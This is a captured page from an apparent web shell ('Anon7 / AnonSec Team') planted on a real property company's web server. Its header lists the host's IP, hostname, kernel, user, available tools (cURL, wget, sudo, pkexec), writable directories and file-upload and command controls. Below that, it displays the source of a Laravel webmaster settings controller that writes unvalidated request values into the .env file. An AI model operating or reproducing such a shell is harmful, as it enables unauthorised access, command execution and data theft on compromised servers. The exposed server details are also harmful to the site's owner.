NICH
Server IP : 127.0.1.1  /  Your IP : 216.73.216.172
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux bahcrestlinepropertiesllc 5.15.0-113-generic #123-Ubuntu SMP Mon Jun 10 08:16:17 UTC 2024 x86_64
User : www-data ( 33)
PHP Version : 7.4.33
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/bahcrestline/core/app/Http/Controllers/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /var/www/bahcrestline/core/app/Http/Controllers//WebmasterSettingsController.php
<?php

namespace App\Http\Controllers;

use App\ContactsGroup;
use App\Http\Requests;
use App\Menu;
use App\Permissions;
use App\Topic;
use App\WebmasterBanner;
use App\WebmasterSection;
use App\WebmasterSetting;
use Auth;
use Illuminate\Http\Request;
use Redirect;

class WebmasterSettingsController extends Controller
{
    // Define Default Settings ID
    private $id = 1;

    public function __construct()
    {
        $this->middleware('auth');

        // Check Permissions
        if (@Auth::user()->permissions != 0) {
            return Redirect::to(route('NoPermission'))->send();
        }
    }

    public function edit()
    {
        //
        // General for all pages
        $GeneralWebmasterSections = WebmasterSection::where('status', '=', '1')->orderby('row_no', 'asc')->get();
        // General END

        $ParentMenus = Menu::where('father_id', '0')->orderby('row_no', 'asc')->get();
        $WebmasterBanners = WebmasterBanner::orderby('row_no', 'asc')->get();
        $ContactsGroups = ContactsGroup::orderby('id', 'asc')->get();
        $PermissionsGroups = Permissions::orderby('id', 'asc')->get();
        $SitePages = Topic::where('webmaster_id', 1)->orderby('row_no', 'asc')->get();

        $id = $this->getId();
        $WebmasterSetting = WebmasterSetting::find($id);
        if (!empty($WebmasterSetting)) {
            return view("backEnd.webmaster.settings", compact("WebmasterSetting", "GeneralWebmasterSections", "ParentMenus", "WebmasterBanners", "ContactsGroups", "SitePages", "PermissionsGroups"));

        } else {
            return redirect()->route('adminHome');
        }
    }

    public function getId()
    {
        return $this->id;
    }

    public function setId($id)
    {
        $this->id = $id;
    }

    /**
     * Update the specified resource in storage.
     *
     * @param \Illuminate\Http\Request $request
     * @param int $id = 1 for default settings
     * @return \Illuminate\Http\Response
     */
    public function update(Request $request)
    {
        //
        $id = $this->getId();
        $WebmasterSetting = WebmasterSetting::find($id);
        if (!empty($WebmasterSetting)) {

            $WebmasterSetting->ar_box_status = $request->ar_box_status;
            $WebmasterSetting->en_box_status = $request->en_box_status;
            $WebmasterSetting->seo_status = $request->seo_status;
            $WebmasterSetting->analytics_status = $request->analytics_status;
            $WebmasterSetting->banners_status = $request->banners_status;
            $WebmasterSetting->inbox_status = $request->inbox_status;
            $WebmasterSetting->calendar_status = $request->calendar_status;
            $WebmasterSetting->settings_status = $request->settings_status;
            $WebmasterSetting->newsletter_status = $request->newsletter_status;
            $WebmasterSetting->members_status = 0; //$request->orders_status;
            $WebmasterSetting->orders_status = 0; //$request->orders_status;
            $WebmasterSetting->shop_status = 0; //$request->shop_status;
            $WebmasterSetting->shop_settings_status = 0; //$request->shop_settings_status;
            $WebmasterSetting->default_currency_id = 0; //$request->default_currency_id;
            $WebmasterSetting->languages_ar_status = $request->languages_ar_status;
            $WebmasterSetting->languages_en_status = $request->languages_en_status;
            $WebmasterSetting->languages_by_default = $request->languages_by_default;
            $WebmasterSetting->header_menu_id = $request->header_menu_id;
            $WebmasterSetting->footer_menu_id = $request->footer_menu_id;
            $WebmasterSetting->home_banners_section_id = $request->home_banners_section_id;
            $WebmasterSetting->home_text_banners_section_id = $request->home_text_banners_section_id;
            $WebmasterSetting->side_banners_section_id = $request->side_banners_section_id;
            $WebmasterSetting->contact_page_id = $request->contact_page_id;
            $WebmasterSetting->newsletter_contacts_group = $request->newsletter_contacts_group;
            $WebmasterSetting->new_comments_status = $request->new_comments_status;
            $WebmasterSetting->links_status = $request->links_status;
            $WebmasterSetting->register_status = $request->register_status;
            $WebmasterSetting->permission_group = $request->permission_group;
            $WebmasterSetting->api_status = $request->api_status;
            $WebmasterSetting->api_key = $request->api_key;
            $WebmasterSetting->home_content1_section_id = $request->home_content1_section_id;
            $WebmasterSetting->home_content2_section_id = $request->home_content2_section_id;
            $WebmasterSetting->home_content3_section_id = $request->home_content3_section_id;
            $WebmasterSetting->home_contents_per_page = $request->home_contents_per_page;
            $WebmasterSetting->latest_news_section_id = $request->latest_news_section_id;

            $WebmasterSetting->mail_driver = $request->mail_driver;
            $WebmasterSetting->mail_host = $request->mail_host;
            $WebmasterSetting->mail_port = $request->mail_port;
            $WebmasterSetting->mail_username = $request->mail_username;
            $WebmasterSetting->mail_password = $request->mail_password;
            $WebmasterSetting->mail_encryption = $request->mail_encryption;
            $WebmasterSetting->mail_no_replay = $request->mail_no_replay;
            $WebmasterSetting->nocaptcha_status = $request->nocaptcha_status;
            $WebmasterSetting->nocaptcha_secret = $request->nocaptcha_secret;
            $WebmasterSetting->nocaptcha_sitekey = $request->nocaptcha_sitekey;
            $WebmasterSetting->google_tags_status = $request->google_tags_status;
            $WebmasterSetting->google_tags_id = $request->google_tags_id;
            $WebmasterSetting->google_analytics_code = $request->google_analytics_code;

            $WebmasterSetting->login_facebook_status = $request->login_facebook_status;
            $WebmasterSetting->login_facebook_client_id = $request->login_facebook_client_id;
            $WebmasterSetting->login_facebook_client_secret = $request->login_facebook_client_secret;
            $WebmasterSetting->login_twitter_status = $request->login_twitter_status;
            $WebmasterSetting->login_twitter_client_id = $request->login_twitter_client_id;
            $WebmasterSetting->login_twitter_client_secret = $request->login_twitter_client_secret;
            $WebmasterSetting->login_google_status = $request->login_google_status;
            $WebmasterSetting->login_google_client_id = $request->login_google_client_id;
            $WebmasterSetting->login_google_client_secret = $request->login_google_client_secret;
            $WebmasterSetting->login_linkedin_status = $request->login_linkedin_status;
            $WebmasterSetting->login_linkedin_client_id = $request->login_linkedin_client_id;
            $WebmasterSetting->login_linkedin_client_secret = $request->login_linkedin_client_secret;
            $WebmasterSetting->login_github_status = $request->login_github_status;
            $WebmasterSetting->login_github_client_id = $request->login_github_client_id;
            $WebmasterSetting->login_github_client_secret = $request->login_github_client_secret;
            $WebmasterSetting->login_bitbucket_status = $request->login_bitbucket_status;
            $WebmasterSetting->login_bitbucket_client_id = $request->login_bitbucket_client_id;
            $WebmasterSetting->login_bitbucket_client_secret = $request->login_bitbucket_client_secret;

            $WebmasterSetting->dashboard_link_status = $request->dashboard_link_status;
            $WebmasterSetting->timezone = $request->timezone;

            $WebmasterSetting->updated_by = Auth::user()->id;
            $WebmasterSetting->save();

            // Update .env file
            $env_update = $this->changeEnv([
                'MAIL_DRIVER' => $request->mail_driver,
                'MAIL_HOST' => $request->mail_host,
                'MAIL_PORT' => $request->mail_port,
                'MAIL_USERNAME' => $request->mail_username,
                'MAIL_PASSWORD' => $request->mail_password,
                'MAIL_ENCRYPTION' => $request->mail_encryption,
                'NO_REPLAY_EMAIL' => $request->mail_no_replay,
                'NOCAPTCHA_STATUS' => $request->nocaptcha_status,
                'NOCAPTCHA_SECRET' => $request->nocaptcha_secret,
                'NOCAPTCHA_SITEKEY' => $request->nocaptcha_sitekey,
                'DEFAULT_LANGUAGE' => $request->languages_by_default,
                'FRONTEND_PAGINATION' => $request->home_contents_per_page,
                'FACEBOOK_STATUS' => $request->login_facebook_status,
                'FACEBOOK_ID' => $request->login_facebook_client_id,
                'FACEBOOK_SECRET' => $request->login_facebook_client_secret,
                'TWITTER_STATUS' => $request->login_twitter_status,
                'TWITTER_ID' => $request->login_twitter_client_id,
                'TWITTER_SECRET' => $request->login_twitter_client_secret,
                'GOOGLE_STATUS' => $request->login_google_status,
                'GOOGLE_ID' => $request->login_google_client_id,
                'GOOGLE_SECRET' => $request->login_google_client_secret,
                'LINKEDIN_STATUS' => $request->login_linkedin_status,
                'LINKEDIN_ID' => $request->login_linkedin_client_id,
                'LINKEDIN_SECRET' => $request->login_linkedin_client_secret,
                'GITHUB_STATUS' => $request->login_github_status,
                'GITHUB_ID' => $request->login_github_client_id,
                'GITHUB_SECRET' => $request->login_github_client_secret,
                'BITBUCKET_STATUS' => $request->login_bitbucket_status,
                'BITBUCKET_ID' => $request->login_bitbucket_client_id,
                'BITBUCKET_SECRET' => $request->login_bitbucket_client_secret,
                'TIMEZONE' => $request->timezone,
                'GOOGLE_MAPS_KEY' => $request->google_maps_key,
                'FRONTEND_TOPICS_ORDER' => $request->front_topics_order

            ]);


            return redirect()->action('WebmasterSettingsController@edit')
                ->with('doneMessage', trans('backLang.saveDone'))
                ->with('active_tab', $request->active_tab);
        } else {
            return redirect()->route('adminHome');
        }
    }


    public function changeEnv($data = array())
    {
        if (count($data) > 0) {

            // Read .env-file
            $env = file_get_contents(base_path() . '/.env');

            // Split string on every " " and write into array
            $env = preg_split('/\s+/', $env);;


            // Loop through given data
            foreach ((array)$data as $key => $value) {

                // add KEY if not exist
                $KEY_EXIST = 0;
                foreach ($env as $env_key => $env_value) {
                    $entry = explode("=", $env_value, 2);
                    if ($entry[0] == $key) {
                        $KEY_EXIST = 1;
                    }
                }
                if (!$KEY_EXIST) {
                    $env[$key] = $key."=";
                }

                // Loop through .env-data
                foreach ($env as $env_key => $env_value) {

                    // Turn the value into an array and stop after the first split
                    // So it's not possible to split e.g. the App-Key by accident
                    $entry = explode("=", $env_value, 2);

                    // Check, if new key fits the actual .env-key
                    if ($entry[0] == $key) {
                        // If yes, overwrite it with the new one
                        $env[$env_key] = $key . "=" . $value;
                    } else {
                        // If not, keep the old one
                        $env[$env_key] = $env_value;
                    }
                }
            }

            // Turn the array back to an String
            $env = implode("\n", $env);

            // And overwrite the .env with the new data
            file_put_contents(base_path() . '/.env', $env);

            return true;
        } else {
            return false;
        }
    }

}

Anon7 - 2022
AnonSec Team